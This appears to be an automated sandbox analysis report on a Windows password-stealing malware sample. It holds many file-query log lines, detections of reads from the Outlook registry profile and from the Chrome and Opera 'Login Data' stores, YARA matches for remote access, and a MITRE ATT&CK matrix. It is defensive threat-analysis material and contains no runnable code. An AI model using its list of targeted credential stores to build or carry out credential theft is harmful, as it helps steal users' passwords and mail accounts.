Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Queries volume information: C:\Users\user\AppData\Roaming\hkkRsa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Tries to steal Mail credentials (via file / registry access)

Source: Yara match	File source: 10.2.SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.430843859.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.911001855.0000000000E70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.911590172.0000000004B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.911556119.0000000004B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.435031678.0000000003EA7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\rundll32.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Login Data
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Remote Access Functionality

Source: Yara match	File source: 10.2.SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.430843859.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.911001855.0000000000E70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.911590172.0000000004B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.911556119.0000000004B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.435031678.0000000003EA7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Shared Modules	1 Scheduled Task/Job	612 Process Injection	11 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	3 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Scheduled Task/Job	1 Deobfuscate/Decode Files or Information	1 Credential API Hooking	113 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	1 Input Capture	221 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	2 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	1 Credential API Hooking	Scheduled Transfer	114 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Rootkit	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	1 Input Capture	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
